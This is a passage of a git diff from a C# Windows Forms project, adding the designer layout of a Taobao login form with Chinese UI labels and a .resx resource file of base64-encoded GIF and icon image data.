this.closePanel.Cursor = System.Windows.Forms.Cursors.Hand; + this.closePanel.DisabledBackColor = System.Drawing.Color.Empty; + this.closePanel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.closePanel.Location = new System.Drawing.Point(198, 12); + this.closePanel.Name = "closePanel"; + this.closePanel.Size = new System.Drawing.Size(58, 30); + this.closePanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.closePanel.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.closePanel.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.closePanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.closePanel.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.closePanel.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.closePanel.Style.ForeColor.Color = System.Drawing.Color.White; + this.closePanel.Style.GradientAngle = 90; + this.closePanel.TabIndex = 2; + this.closePanel.Text = "关闭"; + this.closePanel.Visible = false; + this.closePanel.Click += new System.EventHandler(this.closePanel_Click); + // + // loginPanel + // + this.loginPanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.loginPanel.Cursor = System.Windows.Forms.Cursors.Hand; + this.loginPanel.DisabledBackColor = System.Drawing.Color.Empty; + this.loginPanel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.loginPanel.Location = new System.Drawing.Point(14, 16); + this.loginPanel.Name = "loginPanel"; + this.loginPanel.Size = new System.Drawing.Size(74, 30); + this.loginPanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.loginPanel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.loginPanel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.loginPanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.loginPanel.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.loginPanel.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.loginPanel.Style.ForeColor.Color = System.Drawing.Color.White; + this.loginPanel.Style.GradientAngle = 90; + this.loginPanel.TabIndex = 1; + this.loginPanel.Text = "重新登录"; + this.loginPanel.Click += new System.EventHandler(this.loginPanel_Click); + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.pictureBox1); + this.splitContainer3.Size = new System.Drawing.Size(102, 235); + this.splitContainer3.SplitterDistance = 104; + this.splitContainer3.TabIndex = 0; + // + // pictureBox1 + // + this.pictureBox1.BackColor = System.Drawing.Color.Transparent; + this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); + this.pictureBox1.Location = new System.Drawing.Point(36, 15); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(33, 32); + this.pictureBox1.TabIndex = 16; + this.pictureBox1.TabStop = false; + this.pictureBox1.Visible = false; + // + // TaobaoLoginForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoSize = true; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(9)))), ((int)(((byte)(131)))), ((int)(((byte)(247))))); + this.ClientSize = new System.Drawing.Size(474, 409); + this.Controls.Add(this.splitContainer1); + this.DoubleBuffered = true; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "TaobaoLoginForm"; + this.Text = "登录淘宝"; + this.TitleText = "登录淘宝"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.TaobaoLoginForm_FormClosing); + this.Load += new System.EventHandler(this.TaobaoLoginForm_Load); + this.Controls.SetChildIndex(this.splitContainer1, 0); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel1.PerformLayout(); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.SplitContainer splitContainer2; + private System.Windows.Forms.SplitContainer splitContainer3; + private DevComponents.DotNetBar.PanelEx loginPanel; + private DevComponents.DotNetBar.PanelEx closePanel; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + private DevComponents.DotNetBar.PanelEx minPanel; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.PictureBox pictureBox1; + private DevComponents.DotNetBar.Controls.ComboBoxEx cbxLoginShops; + private DevComponents.DotNetBar.PanelEx pnlAutoLogin; + } +} \ No newline at end of file diff --git a/TEMUKJD/TaobaoLoginForm.resx b/TEMUKJD/TaobaoLoginForm.resx new file mode 100644 index 0000000..a1f775c --- /dev/null +++ b/TEMUKJD/TaobaoLoginForm.resx @@ -0,0 +1,1350 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + R0lGODlhIAAgAOfzAAABAAACAAEEAAIFAQQHAgUIBAcJBQgLBwoMCAsNCgwPCw4QDA8RDRASDxETEBIU + ERMUEhQVExUWFBYYFRcYFhgZFxkbGBocGRscGhwdGx0fHB4fHR8gHiAhHyEjICIkISMkIiQlIyUnJCYo + JScoJigpJykrKCosKSstKiwtKy0uLC4vLS8xLjAyLzEzMDIzMTM0MjQ2MzU3NDY4NTc5Njg5Nzk6ODo7 + OTs9Ojw+Oz0/PD5APT9APkBBP0FCQEFDQUNFQkRGQ0VHREZIRUdJRkhJR0lKSEpLSUpMSkxOS01PTE5Q + TU9RTlBST1FTUFJUUVNUUlRVU1VWVFZXVVZYVVdZVllbWFpcWVtdWlxeW11fXF5gXV9hXmBiX2FjYGJk + YWNlYmRlY2VmZGZnZWdoZmhpZ2hqZ2lraGpsaWttamxua21vbG5wbW9xbnFzcHJ0cXN1cnR2c3V3dHZ4 + dXd5dnh6d3l7eHp8eXt9enx+e31/fH6AfX+BfoCCf4GDgIKEgYOFgoSGg4WHhIaIhYeJhoiKh4mLiIqM + iYuNioyOi42PjI6QjY+RjpCSj5GTkJKUkZOVkpSWk5WXlJaYlZeZlpial5qbmJudmZyem52fnJ6gnZ+h + nqCin6GjoKKkoaOloqSmo6WnpKaopaeppqiqp6mrqKqsqautqqyuq62vrK6wrbCyrrGzr7K0sbO1srS2 + s7W3tLa4tbe5tri6t7m7uLq8ubu9ury+u72/vL7BvcDCvsHDv8LEwcPFwsTGw8XHxMbIxcfJxsjKx8nL + yMrMycvOys3Py87QzM/RztDSz9HT0NLU0dPV0tTW09XX1NbY1dja1tnb19rc2dvd2tze293f3N7g3d/h + 3uDi3+Hk4OPl4eTm4+Xn5Obo5efp5ujq5+nr6Ors6evu6u3v6+7w7e/x7vDy7/Hz8PL08fP18vT38/b4 + 9Pf59vj69/n7+Pr8+fv9+vz/+/7//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + ACH/C05FVFNDQVBFMi4wAwEAAAAh+QQBCAD/ACwAAAAAIAAgAAAI/gDlCRxIsKDBgwgNwlvIsCHDhAgd + SmwI0eA7dxLRfWM3saK8d+CQ5UoG7p08eOxk+UEGTyBFiO+eATpy44igZu7koVPE49VDhxG70ckAoOgG + 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 + NKl8Qks3jC0UEAA7 + + + + + AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAgBACMuAAAjLgAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvHxSArx8 + Uje8fFJ5vHxSrLx8UtK8fFLuvHxS+rx8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL6vHxS7rx8UtK8fFKsvHxSebx8Uje8fFICAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAvHxSHLx8Uoi8fFLkyIRY/9mRYP/om2j/86Jt//qocf/+qnL//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//6qcv/6qHH/86Jt/+mb + aP/ZkWD/yIRY/7x8UuS8fFKIvHxSHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvHxSFLx8Upe/flT52pFh//Oj + bf//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/9KNt/9qRYf+/flT5vHxSl7x8 + UhQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAALx8Uli9fVPr2ZBg//qncf//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//qncf/ZkGD/vX1T67x8UlkAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALx8UgW8fFKYxoNX//GhbP//q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c//xoWz/xoNX/7x8Upi8fFIFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAC8fFIKvHxSts+JW//7qHH//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//7qHH/z4lb/7x8UrS8fFIKAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvHxSBrx8UrHTjF3//qpy//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc//+qnL/04xd/7x8UrG8fFIGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAC8fFKY0Ipc//6qcv//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//+qnL/0Ipc/7x8 + 